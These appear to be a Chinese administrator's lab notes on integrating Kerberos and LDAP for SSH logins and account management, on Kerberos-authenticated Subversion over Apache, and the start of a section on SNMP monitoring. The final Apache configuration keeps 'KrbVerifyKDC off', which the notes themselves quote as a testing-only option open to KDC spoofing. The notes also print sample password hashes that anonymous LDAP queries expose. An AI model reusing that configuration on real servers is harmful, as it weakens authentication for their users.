  login as: rocky  rocky@192.168.0.98's password:  Last login: Tue Mar 20 13:23:46 2007 from 192.168.0.64  Could not chdir to home directory /home/rocky: No such file or directory  -bash-3.00$    sh# tail -f /var/log/message  Mar 21 09:37:53 docs sshd(pam_unix)[3913]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.0.64  user=rocky  Mar 21 09:37:53 docs sshd[3913]: pam_krb5[3913]: The "hosts" configuration directive is not supported with your release of Kerberos.  Please check if your release supports an `extra_addresses' directive instead.  Mar 21 09:37:53 docs sshd[3913]: pam_krb5[3913]: authentication succeeds for 'rocky' (rocky@SAMPLE.CN)  Mar 21 09:37:53 docs sshd(pam_unix)[3915]: session opened for user rocky by (uid=0)    sh# tail -f /var/log/krb5kdc.log  Mar 21 09:37:53 docs.sample.cn krb5kdc[23244](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1174484273, etypes {rep=16 tkt=23 ses=16}, rocky@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN  Mar 21 09:37:53 docs.sample.cn krb5kdc[23244](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1174484273, etypes {rep=16 tkt=23 ses=16}, rocky@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN

那是不是说我实际上不需要 Kerberos 呢?因为几乎所有的信息都在 LDAP 数据库中。

sh# /etc/init.d/krb5kdc stop

后再尝试登录,则 /var/log/messages 输出如下:

  Mar 21 09:42:05 docs sshd(pam_unix)[3972]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.0.64  user=rocky  Mar 21 09:42:05 docs sshd[3972]: pam_krb5[3972]: The "hosts" configuration directive is not supported with your release of Kerberos.  Please check if your release supports an `extra_addresses' directive instead.  Mar 21 09:42:05 docs sshd[3972]: pam_krb5[3972]: authentication fails for 'rocky' (rocky@SAMPLE.CN): Authentication service cannot retrieve authentication info. (Cannot contact any KDC for requested realm)

这说明 Kerberos 的验证确实在起作用。而且 LDAP 中的 userPassword 和 Kerberos 的 rocky 用户的 Password 实际上是不一样的

尝试先从 Kerberos 取得票据:

  sh# kinit rocky  sh# ssh rocky@docs.sample.cn  Last login: Wed Mar 21 09:56:11 2007 from docs.sample.cn  Could not chdir to home directory /home/rocky: No such file or directory  -bash-3.00$ id   uid=1000(rocky) gid=1000(rocky) groups=1000(rocky)    sh# tail -f /var/log/messages  Mar 21 09:56:57 docs sshd(pam_unix)[4129]: session opened for user rocky by (uid=0)

可见,使用 kinit 取得票据之后,登录就不会再有密码提示了。

  [root@docs ~]# su - rocky  su: warning: cannot change directory to /home/rocky: No such file or directory  -bash-3.00$

也没有问题。

再看看以其他用户的身份会是什么情况:

  sh# su - sysadm  sh$ ssh rocky@docs.sample.cn  The authenticity of host 'docs.sample.cn (192.168.0.98)' can't be established.  RSA key fingerprint is 82:25:6e:1f:8e:70:dc:66:62:3e:7b:4c:f0:40:3e:4c.  Are you sure you want to continue connecting (yes/no)? yes  Warning: Permanently added 'docs.sample.cn,192.168.0.98' (RSA) to the list of known hosts.  rocky@docs.sample.cn's password:  Last login: Wed Mar 21 09:56:57 2007 from docs.sample.cn  Could not chdir to home directory /home/rocky: No such file or directory  -bash-3.00$    /var/log/messages  Mar 21 09:57:33 docs su(pam_unix)[4148]: session opened for user sysadm by root(uid=0)  Mar 21 09:57:44 docs sshd(pam_unix)[4174]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=docs.sample.cn  user=rocky  Mar 21 09:57:44 docs sshd[4174]: pam_krb5[4174]: The "hosts" configuration directive is not supported with your release of Kerberos.  Please check if your release supports an `extra_addresses' directive instead.  Mar 21 09:57:44 docs sshd[4174]: pam_krb5[4174]: authentication succeeds for 'rocky' (rocky@SAMPLE.CN)  Mar 21 09:57:44 docs sshd(pam_unix)[4176]: session opened for user rocky by (uid=0)    sh# su - sysadm  sh$ kinit rocky  Password for rocky@SAMPLE.CN:  sh$ klist  Ticket cache: FILE:/tmp/krb5cc_501  Default principal: rocky@SAMPLE.CN    Valid starting     Expires            Service principal  03/21/07 09:59:52  03/22/07 09:59:52  krbtgt/SAMPLE.CN@SAMPLE.CN    Kerberos 4 ticket cache: /tmp/tkt501  klist: You have no tickets cached  sh$ ssh rocky@docs.sample.cn  Last login: Wed Mar 21 09:57:44 2007 from docs.sample.cn  Could not chdir to home directory /home/rocky: No such file or directory  -bash-3.00$    /var/log/messages  Mar 21 10:00:32 docs sshd(pam_unix)[4234]: session opened for user rocky by (uid=0)  Mar 21 10:18:44 docs su[4629]: nss_ldap: reconnecting to LDAP server...  Mar 21 10:18:44 docs su[4629]: nss_ldap: reconnected to LDAP server after 1 attempt(s)

注意上面的 FILE:/tmp/krb5cc_501, 可以发现是以用户的 UID 来命名的。

然后看看增加一个 Kerberos 用户 roc,并从这个用户登录到 rocky 是否可行:

  sh# kadmin -p rocky/admin@SAMPLE.CN  Authenticating as principal rocky/admin@SAMPLE.CN with password.  Password for rocky/admin@SAMPLE.CN:  kadmin:  addprinc roc  WARNING: no policy specified for roc@SAMPLE.CN; defaulting to no policy  Enter password for principal "roc@SAMPLE.CN":  Re-enter password for principal "roc@SAMPLE.CN":  Principal "roc@SAMPLE.CN" created.  kadmin:  quit  sh# kinit roc  Password for roc@SAMPLE.CN:  sh# klist  Ticket cache: FILE:/tmp/krb5cc_0  Default principal: roc@SAMPLE.CN    Valid starting     Expires            Service principal  03/21/07 10:16:05  03/22/07 10:16:05  krbtgt/SAMPLE.CN@SAMPLE.CN    Kerberos 4 ticket cache: /tmp/tkt0  klist: You have no tickets cached    sh# ssh rocky@docs.sample.cn   rocky@docs.sample.cn's password:  Last login: Wed Mar 21 10:19:32 2007 from docs.sample.cn  Could not chdir to home directory /home/rocky: No such file or directory  -bash-3.00$    Mar 21 10:20:46 docs sshd(pam_unix)[4745]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=docs.sample.cn  user=rocky  Mar 21 10:20:46 docs sshd[4745]: pam_krb5[4745]: The "hosts" configuration directive is not supported with your release of Kerberos.  Please check if your release supports an `extra_addresses' directive instead.  Mar 21 10:20:46 docs sshd[4745]: pam_krb5[4745]: authentication succeeds for 'rocky' (rocky@SAMPLE.CN)  Mar 21 10:20:46 docs sshd(pam_unix)[4747]: session opened for user rocky by (uid=0)

这说明 Kerberos 的 User principal 也还是必须和 LDAP 的 User infomation 互相匹配,否则仍然是不能登录的。

方案比较,以及为什么选择 Kerberos

前面说过,除了使用 Kerberos 的 pam_krb5 来进行 Authentication(这也是上一篇中使用的方法)之外,另一种选择是使用 pam_ldap。看起来,如果使用 pam_ldap 似乎要简单的多,因为只使用一套软件就解决问题了。其实不然。因为这是在做身份验证,所以安全性是非常重要的问题,那么加密就必不可少,而 openldap 默认是使用明文加密的。可以看下面这个例子:

  sh# ldapsearch -x -b 'uid=rocky,ou=People,dc=sample,dc=cn'   # extended LDIF   #   # LDAPv3   # base  with scope subtree   # filter: (objectclass=*)   # requesting: ALL   #     # rocky, People, sample.cn   dn: uid=rocky,ou=People,dc=sample,dc=cn   uid: rocky   cn: rocky   objectClass: account   objectClass: posixAccount   objectClass: top   objectClass: shadowAccount   userPassword:: e2NyeXB0fSQxJEtrMDBvMkw4JGZLTTdjLi9GTGlvYlhTNEkua3RIVTE=   shadowLastChange: 13524   shadowMax: 99999   shadowWarning: 7   loginShell: /bin/bash   uidNumber: 1000   gidNumber: 1000   homeDirectory: /home/rocky   gecos: rocky     # search result   search: 2   result: 0 Success     # numResponses: 2   # numEntries: 1

这里可以看到,其他的用户信息无所谓,但 userPassword 是可以毫无障碍的被任何人查询的,如果密码确实存放在 LDAP 中,那就危险了。

Kerberos 默认是加密的,而 openldap 要实现加密则必须使用 SSL/TLS,这也就意味着你必须为每一台客户系统维护一对私钥/证书,在这里也可以看到 Kerberos 的一个好处,那就是票据的加密是由 Kerberos 自动维护的。这并不是说就不再需要 SSL/TLS 了,不过在认证这一块,Kerberos 确实更方便。

同时,使用 Kerberos,则用户的密码从未在网络上传送

而且,你不再需要频繁的输入密码了!

所以这里最终的效果就是,openldap 充当了 /etc/passwd 的角色,而 Kerberos 相当于 /etc/shadow。

        /---------->[KDC]        |    /--------/        |    |       (1)  (2)        |    |        |    V        Client------(3)------>Server(4)------(5)------>LDAP  (4) Lookup /etc/passwd and /etc/nsswitch.conf  (5) Lookup LDAP Database for account information(NOT Password)

LDAP SASL 认证

AA Center, Accounts Manager

帐户管理

传统?

  1. UID/GID 重复?
      sh# grep '500' /etc/passwd  magic:x:500:500::/home/magic:/bin/bash    sh# cat passwd.ldif  dn: uid=roc,ou=People,dc=sample,dc=cn  uid: roc  cn: roc  objectClass: account  objectClass: posixAccount  objectClass: top  objectClass: shadowAccount  userPassword: {crypt}$1$Kk00o2L8$fKM7c./FLiobXS4I.ktHU1  shadowLastChange: 13524  shadowMax: 99999  shadowWarning: 7  loginShell: /bin/bash  uidNumber: 500  gidNumber: 500  homeDirectory: /home/roc  gecos: roc    sh# cat group.ldif  dn: cn=roc,ou=Group,dc=sample,dc=cn  objectClass: posixGroup  objectClass: top  cn: roc  userPassword: {crypt}x  gidNumber: 500    sh# ldapadd -x -h localhost -D "cn=ldapadmin,dc=sample,dc=cn" -f passwd.ldif -w '******'  sh# ldapadd -x -h localhost -D "cn=ldapadmin,dc=sample,dc=cn" -f group.ldif -w '******'  sh# kadmin -p rocky/admin@SAMPLE.CN  kadmin: addprinc roc  ...    sh# kinit roc  sh# ssh roc@docs.sample.cn  -bash-3.00$ id  uid=500(magic) gid=500(magic) groups=500(magic)  -bash-3.00$ echo ~  /home/roc  -bash-3.00$ cd /tmp  -bash-3.00$ vi test1  E297: Write error in swap file  :wq  "test1" E514: write error (file system full?)  WARNING: Original file may be lost or damaged  don't quit the editor until the file is successfully written!    -bash-3.00$ echo "testing" >test1  -bash-3.00$ cat test1  -bash-3.00$    sh# tail /var/log/message  Apr  6 15:56:37 docs sshd(pam_unix)[13793]: session opened for user roc by (uid=0)
    可见,虽然可以登录,但执行一些操作则会有问题

  2. username 重复 因为在 nsswitch.conf 中 files 会在 ldap 之前被查询,所以实际上只会查 /etc/passwd 和 /etc/group 而不会查询 LDAP。username 和 UID 都重复的情况同。

  3. LDAP 自身重复
    • uidNumber 重复
        sh# userdel sysadm  sh# userdel admin  # ......(ldapadd sysadm/admin accounts)    sh# ldapsearch -x -b 'ou=People,dc=sample,dc=cn'  # sysadm, People, sample.cn  dn: uid=sysadm,ou=People,dc=sample,dc=cn  uid: sysadm  cn: sysadm  objectClass: account  objectClass: posixAccount  objectClass: top  objectClass: shadowAccount  userPassword:: e2NyeXB0fSQxJEtrMDBvMkw4JGZLTTdjLi9GTGlvYlhTNEkua3RIVTE=  shadowLastChange: 13524  shadowMax: 99999  shadowWarning: 7  loginShell: /bin/bash  uidNumber: 1001  gidNumber: 1001  homeDirectory: /home/sysadm  gecos: sysadm    # admin, People, sample.cn  dn: uid=admin,ou=People,dc=sample,dc=cn  uid: admin  cn: admin  objectClass: account  objectClass: posixAccount  objectClass: top  objectClass: shadowAccount  userPassword:: e2NyeXB0fSQxJEtrMDBvMkw4JGZLTTdjLi9GTGlvYlhTNEkua3RIVTE=  shadowLastChange: 13524  shadowMax: 99999  shadowWarning: 7  loginShell: /bin/bash  uidNumber: 1001  gidNumber: 1001  homeDirectory: /home/admin  gecos: admin    sh# kinit sysadm  sh# ssh sysadm@docs.sample.cn  -bash-3.00$ id  uid=1001(sysadm) gid=1001(sysadm) groups=1001(sysadm)  -bash-3.00$ exit    sh# kinit admin  sh# ssh admin@docs.sample.cn  -bash-3.00$ id  uid=1001(sysadm) gid=1001(sysadm) groups=1001(sysadm)  -bash-3.00$ exit    sh# tail /var/log/message  Apr  6 16:09:49 docs sshd(pam_unix)[13957]: session opened for user admin by (uid=0)
      对比系统自身的命令:
        sh# useradd -u 503 chowroc  useradd: uid 503 is not unique

    • uid 重复
        sh# cat passwd.ldif  dn: uid=sysadm,ou=People,dc=sample,dc=cn  uid: sysadm  cn: sysadm  objectClass: account  objectClass: posixAccount  objectClass: top  objectClass: shadowAccount  userPassword: {crypt}$1$Kk00o2L8$fKM7c./FLiobXS4I.ktHU1  shadowLastChange: 13524  shadowMax: 99999  shadowWarning: 7  loginShell: /bin/bash  uidNumber: 1002  gidNumber: 1002  homeDirectory: /home/sysadm  gecos: sysadm    sh# ldapadd -x -h localhost -D "cn=ldapadmin,dc=sample,dc=cn" -f passwd.ldif -w '******'  adding new entry "uid=sysadm,ou=People,dc=sample,dc=cn"  ldap_add: Already exists (68)
      对比前面的 uidNumber 重复的情况,这意味着多个 username(LDAP uid)可以映射为同一个用户(LDAP uidNumber, system uid)!

  4. 传统命令
    • passwd
        sh# passwd sysadm  Changing password for user sysadm.  Kerberos 5 Password:  New UNIX password:  Retype new UNIX password:  passwd: all authentication tokens updated successfully.
      多出了一个 Kerberos 5 Password: 步骤,而最后更改的 UNIX password 实际上是 Kerberos user principal 的密码!

    • useradd
        sh# grep 'sysadm' /etc/passwd  sh# grep 'sysadm' /etc/group  sh# useradd sysadm  useradd: user sysadm exists    sh# useradd chowroc  sh# grep 'chowroc' /etc/passwd  chowroc:x:10025:10025::/home/chowroc:/bin/bash
      似乎查询 LDAP 可以,但写入却不行。

帐号管理策略选择

首先,我是应该将所有的用户都迁移到 LDAP,还是只迁移部分用户?我想答案应该是后者。这是因为 LDAP 可能形成单点故障,即使应用了 replication 也可能不保险,比如网络问题等,如果所有用户,包括 root 都在 LDAP,那么当这种情况发生时就一点办法也没有了。而且所有主机的 root 都使用同一个密码也可能会有问题。

如果两种帐户混用,那么就需要有一种机制保证系统 UID 不会重复,最好是有一个统一的 useradd 工具,但前面看到 useradd 不能正确地对 LDAP 操作,所以可能需要编写自己的系统脚本。

同时,每主机的帐号应该很少使用,而主要使用集中的帐户来在各个主机上进行操作,因此授权就变得很重要了。除了 Kerberos 能够提供的授权之外,就只能利用每主机/每服务的授权机制了,可以考虑的几个方面是:

  • sudo
  • groups + setfacl
  • ssh/login chroot
  • resource control(e.g. pam_limit)
  • 每服务授权,例如 svn 的 mod_svn_authz, MySQL grant privileges

这种每主机或者说每服务的授权最大的问题就是重复。虽然帐号已经统一,可以减轻一些负担了,但还是必须登录到每一台服务器,针对不同的服务分别做授权策略。对于这一点目前也没有更好的办法,只能在以后希望改善架构的复用性,利用统一的配置管理来实现这个目标。

那么需要建立许多用于维护不同目标的帐户和组,主要是组。

AA Center, Services

Subversion

基本理论

在 Subversion 的远程使用 中讲到目前对 Subversion 的使用主要是通过 http 来完成的。彼处仅仅讨论了作为用户视角的简单使用,但并没有讨论认证问题。通过 http 来使用,如果不进行认证,就无法记录文件是由哪些人做出的改动,从而使得根本无法进行有效的多人协作模式。

svn http 可以使用的认证方式有好几种,都是通过 apache 的扩展模块来实现的,如 mod_authz_dav, mod_authnz_external 和 mod_auth_kerb 等。mod_authz_dav 似乎只能使用很简单的认证机制,所以最好不要使用;mod_authnz_external 可以插入其他的认证模块,比如 PAM,那么我们就可以利用 pam_krb5 模块来实现 Kerberos 认证,不过这中间等于多走了一层,而且 pam_krb5 需要用到 LDAP;而比较直接的方法是使用 mod_auth_kerb 模块来与 Kerberos 集成。

但是,这个认证的过程与经典的 Kerberos 的三方认证过程是不同的。在 三方认证 中,Client 是实际提交请求的客户端,例如 ssh 程序,而 Server 是带有 Kerberos 支持的服务,如 pam_krb5 支持的 sshd;同时用户的密码从未在网络上传递!

而在这里,在 三方认证 中的 Client 和 Server 都是 mod_auth_kerb,而发起检出/提交请求的那个 Client 只能说是 user_client,它会将用户名和密码提交到 Apache(mod_auth_kerb),一般也就是 svn 或 tortoisesvn 客户端或者 browser 了。

所以,整个认证的图示应该看起来是这个样子:

                                /-------->[KDC]        user_client             |   /-------/                    |                  |   |        (user/pass)(0)         (1) (2)             |                  |   |             \--------> Apache  |   V                       [mod_auth_kerb]<-------o                                    |         |                                    o---(3)---o

这里的 (1)(2)(3) 的含义和 三方认证 中的含义是完全相同的。这里只需要 user 和 password,所以不需要使用 LDAP。

注意上面的 (0) 部分,也就是 user_client(svn/tortoisesvn/browser)向 Apache 提交用户和密码的过程。如果使用 http 协议,则这个过程不会加密,那么 Kerberos 提供的安全性就完全丧失了!所以这里应该使用 https 。

认证配置过程

安装参数:

  ./configure --with-krb5=/usr/kerberos \   --with-krb4=no \   --with-apache=/usr/local/apache2

--with-apache 指定的是 apache 的 prefix。安装后编辑 httpd.conf:

  LoadModule auth_kerb_module modules/mod_auth_kerb.so                  DAV svn          SVNParentPath /var/www/html/docs/repos          AuthType Kerberos          AuthName "Kerberos"          Require valid-user          

重启 Apache 后,就可以使用客户端来进行连接了。当然,你应该已经按照 Kerberos 配置 中的说明配置了 Kerberos 服务器,并且启动了 krb5kdc 和 kadmin 服务。使用 svn/tortoisesvn 或者浏览器都可以,这里不需要像之前利用 pam_krb5 做 login 时那样先用 kinit $user 来取得 ticket,因为这里这一步是由 mod_auth_kerb 使用客户端提交的 user/password 对自动完成的。AuthName 会出现在密码提示框的上面,所以使用其他不会暴露认证机制的字符串比较好。

但是这时的结果是,输入用户名和密码后无效!查看日志:

  sh# tail /usr/local/apache2/logs/error.log  [Thu Apr 05 10:41:41 2007] [notice] Apache/2.2.3 (Unix) DAV/2 SVN/1.3.1 PHP/4.4.4 mod_auth_kerb/5.3 configured -- resuming normal operations  [Thu Apr 05 10:20:10 2007] [error] [client 192.168.0.64] failed to verify krb5 credentials: Server not found in Kerberos database    sh# tail /var/log/krb5kdc.log  Apr 05 10:29:49 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1175783389, etypes {rep=16 tkt=23 ses=16}, chowroc@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN  Apr 05 10:29:49 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1175783389, etypes {rep=16 tkt=23 ses=16}, chowroc@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN  Apr 05 10:29:49 docs.sample.cn krb5kdc[25811](info): TGS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: UNKNOWN_SERVER: authtime 1175783389,  chowroc@SAMPLE.CN for HTTP/docs.sample.cn@SAMPLE.CN, Server not found in Kerberos database  Apr 05 10:29:49 docs.sample.cn krb5kdc[25811](info): TGS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: UNKNOWN_SERVER: authtime 1175783389,  chowroc@SAMPLE.CN for HTTP/docs.sample.cn@SAMPLE.CN, Server not found in Kerberos database  

为什么会提示 Server not found 呢?注意 krb5kdc.log 中的这个 principal:HTTP/docs.sample.cn@SAMPLE.CN。之前在做 login 时,使用的是 host/docs.sample.cn,为什么这里会变成 HTTP/docs.sample.cn 呢?

由此可见,对于 service 的 principal,最前面的部分是可以自定义的,只要这个 principal 在 KDC 中进行了 register,就可以使用。

对 principal 需要多说一点,principal 分为两种,user 和 service,并且都是 primary/instance@realm 的形式,可以参考 Kerberos V5 System Administrator's Guide, Definition 的说明。对 service,primary 部分通常就是表示使用的服务。

所以我们就对这个 principal 进行 register:

  kadmin: addprinc HTTP/docs.sample.cn  kadmin: ktadd -k /etc/krb5.keytab HTTP/docs.sample.cn

事实上,mod_auth_kerb 可以使用其他的 primary principal name,这可以由参数 KrbServiceName 来控制。

再次使用客户端尝试检出操作,仍然失败,查看日志:

  sh# tail /var/log/krb5kdc.log  Apr 05 10:33:57 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1175783637, etypes {rep=16 tkt=23 ses=16}, chowroc@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN  Apr 05 10:33:57 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1175783637, etypes {rep=16 tkt=23 ses=16}, chowroc@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN  Apr 05 10:33:57 docs.sample.cn krb5kdc[25811](info): TGS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1175783637, etypes {rep=16 tkt=23 ses=16}, chowroc@SAMPLE.CN for HTTP/docs.sample.cn@SAMPLE.CN  Apr 05 10:33:57 docs.sample.cn krb5kdc[25811](info): TGS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1175783637, etypes {rep=16 tkt=23 ses=16}, chowroc@SAMPLE.CN for HTTP/docs.sample.cn@SAMPLE.CN    sh# tail /usr/local/apache2/logs/error.log  [Thu Apr 05 10:36:49 2007] [error] [client 192.168.0.64] failed to verify krb5 credentials: Permission denied  

为什么会变成 Permission denied 呢?google,发现 keytab 必须能够为 Apache 的用户也就是 httpd 这个用户读取。为了避免一些安全性的问题,我们创建一个不同的 keytab:

  kadmin: ktadd /opt/http.keytab HTTP/docs.sample.cn  sh# chown httpd /opt/http.keytab  sh# vi /usr/local/apache2/conf/httpd.conf   Krb5Keytab /opt/http.keytab

接下来的错误就比较奇怪了:

  sh# tail /usr/local/apache2/logs/error.log  [Thu Apr 05 10:55:20 2007] [error] [client 192.168.0.64] failed to verify krb5 credentials: Request is a replay  [Thu Apr 05 11:08:33 2007] [error] [client 192.168.0.64] failed to verify krb5 credentials: Request is a replay  [Thu Apr 05 11:08:33 2007] [error] [client 192.168.0.64] A failure occurred while driving the update report editor  [500, #220000]  [Thu Apr 05 11:08:33 2007] [error] [client 192.168.0.64] Not authorized to open root of edit operation  [500, #220000]    sh# tail /var/log/krb5kdc.log  Apr 05 11:00:32 docs.sample.cn krb5kdc[25811](info): DISPATCH: repeated (retransmitted?) request from 192.168.0.98, resending previous response  Apr 05 11:00:32 docs.sample.cn krb5kdc[25811](info): DISPATCH: repeated (retransmitted?) request from 192.168.0.98, resending previous response  Apr 05 11:00:32 docs.sample.cn krb5kdc[25811](info): TGS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: PROCESS_TGS: authtime 0,   for HTTP/docs.sample.cn@SAMPLE.CN, Request is a replay  Apr 05 11:00:32 docs.sample.cn krb5kdc[25811](info): TGS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: PROCESS_TGS: authtime 0,   for HTTP/docs.sample.cn@SAMPLE.CN, Request is a replay

以下是 svn co 时的一些输出:

  svn: REPORT request "/repos/sysadm/!svn/vcc/default" failed  svn: Not authorized to open root of edit operation

svn 的表现还不止这些,主要是很不稳定,几次的结果都不一致。有时候要输入几次用户名和密码,有时候虽然执行了检出操作,但明显有些文件没有成功检出,而有时候就出现了上面的输出...

为什么会出现"Request is a replay"这个问题,目前我还不能完全清晰的理论解释,只知道是 ticket 被重复使用了,至于原因何在则不清楚。在 mod_auth_kerb 的官方站点的说明如下:

This option can be used to disable the verification tickets against local keytab to prevent KDC spoofing atacks. It should be used only for testing purposes. You have been warned.

目前的解决办法是在 httpd.conf 中增加:

   KrbVerifyKDC off

这样就可以了,checkout/commit 都没有问题,而且在 svn log 中可以看到提交人的帐户信息

加密

上面都是使用的 http 协议,没有对 svn 客户端到 mod_auth_kerb 的这部分进行加密,在实际应用中是不够的。为了配置 https,首先使用 openssl 产生密钥和证书。在 Red Hat 系统中,一个比较简单的办法是:

  sh# cd /usr/share/ssl/certs/  sh# make server.crt  # (输入密钥的密码和证书的信息)  sh# cp server.* /usr/local/apache2/conf/

而不用使用实际的 openssl 命令来生成密钥和证书。

然后编辑 httpd.conf,包括认证和加密的全部配置选项如下:

  LoadModule auth_kerb_module modules/mod_auth_kerb.so  Listen 443        ServerName docs.sample.cn      AddType application/x-x509-ca-cert .crt      AddType application/x-pkcs7-crl    .crl        SSLEngine on      SSLCertificateFile conf/server.crt      SSLCertificateKeyFile conf/server.key                  DAV svn          SVNParentPath /var/www/html/docs/repos          AuthType Kerberos          AuthName "Kerberos"          Krb5Keytab /opt/http.keytab          KrbVerifyKDC off          Require valid-user        

Authorization

如果想让所有人都匿名可读,而只有可认证的用户才拥有写权限,应该如下配置:

  LoadModule authz_svn_module modules/mod_authz_svn.so                DAV svn          SVNParentPath /var/www/html/docs/repos          AuthType Kerberos          AuthName "Kerberos"          Krb5Keytab /opt/http.keytab          KrbVerifyKDC off                     Require valid-user                

指示除开 GET PROPFIND 等读取性的 HTTP 命令外,其他都需要认证。

更进一步,需要对不同的认证用户进行不同的控制,需要对不同的目录和项目进行不同的控制。那么来看看 AuthzSVNAccessFile 这个授权的参数。按照如下方式来配置 httpd.conf:

                DAV svn          SVNParentPath /var/www/html/docs/repos          AuthType Kerberos          AuthName "Kerberos"          Krb5Keytab /opt/http.keytab          KrbVerifyKDC off          AuthzSVNAccessFile conf/authz_svn_access                     Require valid-user                    sh# cat /usr/local/apache2/conf/authz_svn_access  [sysadm_t:/]  rocky@SAMPLE.CN = rw  chowroc@SAMPLE.CN = r

这时候的出错信息是:

  Error PROPFIND request failed on 'repos/sysadm_t'  Error PROPFIND of 'repos/sysadm_t': 403 Forbidden (https://192.l68.0.98)    sh# tail /usr/local/apache2/logs/error_log  [Mon Apr 09 10:21:24 2007] [error] [client 192.168.0.64] Access denied: - PROPFIND sysadm_t:/    sh# tail /var/log/krb5kdc.log  # nothing

出错是在还没有提示输入帐户信息的情况下发生的。然后将配置改成如下形式:

                     AuthzSVNAccessFile conf/authz_svn_access           Require valid-user          

出错依旧。

最后干脆将 部分注释掉。这时却可以了。只是检出时也必须使用帐户,比较麻烦。

那么为什么 不能和 AuthzSVNAccessFile 一起使用呢?

注意这里必须使用带 realm 的名字,如果仅仅使用 rocky, chowroc 这样的用户名是无法进行读写操作的,报错如下:

  Error PROPFIND request failed on 'repos/sysadm_t'  Error PROPFIND of 'repos/sysadm_t': 403 Forbidden (https://192.l68.0.98)    sh# tail logs/error_log  [Mon Apr 09 10:09:04 2007] [error] [client 192.168.0.64] gss_accept_sec_context() failed: A token was invalid (Token header is malformed or corrupt)  [Mon Apr 09 10:09:10 2007] [error] [client 192.168.0.64] Access denied: 'rocky@SAMPLE.CN' PROPFIND sysadm_t:/    sh# tail /var/log/krb5kdc.log  Apr 09 10:16:21 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1176128181, etypes {rep=16 tkt=23 ses=16}, rocky@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN  Apr 09 10:16:21 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1176128181, etypes {rep=16 tkt=23 ses=16}, rocky@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN

不过使用带 realm 的帐户名,还是会在日志里看到一些信息,不太清楚是什么意思:

  sh# tail /var/log/krb5kdc.log  Apr 09 10:13:09 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1176127989, etypes {rep=16 tkt=23 ses=16}, rocky@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN  Apr 09 10:13:09 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1176127989, etypes {rep=16 tkt=23 ses=16}, rocky@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN  Apr 09 10:13:09 docs.sample.cn krb5kdc[25811](info): DISPATCH: repeated (retransmitted?) request from 192.168.0.98, resending previous response  Apr 09 10:13:09 docs.sample.cn krb5kdc[25811](info): DISPATCH: repeated (retransmitted?) request from 192.168.0.98, resending previous response  Apr 09 10:13:09 docs.sample.cn krb5kdc[25811](info): DISPATCH: repeated (retransmitted?) request from 192.168.0.98, resending previous response  ......    sh# tail /usr/local/apache2/logs/error_log  [Mon Apr 09 10:12:57 2007] [error] [client 192.168.0.64] gss_accept_sec_context() failed: A token was invalid (Token header is malformed or corrupt)

KDC 的日志至少说明认证是通过了的。但在不使用 realm 的时候,从 KDC 的日志来看也应该是已经通过认证了的呀?而且为什么在显示拒绝信息的时候却仍然是 rocky@SAMPLE.CN 这样的帐户名呢?

Monitor

SNMP base

Linux 提供了一些简单的工具,如 ps, top, free, df, vmstat 等,对于临时的查看系统 资源和状态很有用,但对于一个大型的网络系统,我需要有长期自动获取的统计数据,来 对服务器每天、每月、每年的资源和状态情况有一个整体上的认识,以及对 CPU/MEM/IO/Network trafic 的长期比较以确定性能瓶颈所在,并且能够长期监控关键 服务,在出问题的时候自动发送邮件和短信等进行通知。

有一些可以在后台长期运行并周期查看系统资源的工具,如 sar,但它通常是针对一个单 系统的,在多主机的环境下,其数据的管理就不太方便了;其抓取的二进制数据基本上 只能自己使用,而这些数据并不具有直观性,不太利于分析,同时又缺乏其他工具的支持 以使得数据能够以诸如图形的方式显示出来,所以对体系结构的建设来说并不是太好的 选择。

相对来说,SNMP 数据的内容更加全面,而且其基于网络协议的方式使得管理多系统的大 环境变得相对简单,其数据的组织形式也相对较好,它只提供系统当前状态的数据,而 不像 sar 那样提高全部周期的数据,因此当前状态的数据可以做得非常详细,而统计的 事情就交给其他工具去完成 -- 这符合 UNIX 的 KISS 原则:宁可要功能单一但非常专业 的工具,然后将这些工具组合起来完成更复杂的任务。

通过其他工具的支持,可以取得长期的统计数据(如 Cacti),并将这些数据存储为更利于 操作的形式,例如进行叠加、合并等(如 rrdtool)。

当然,其学习曲线不是那么平缓,

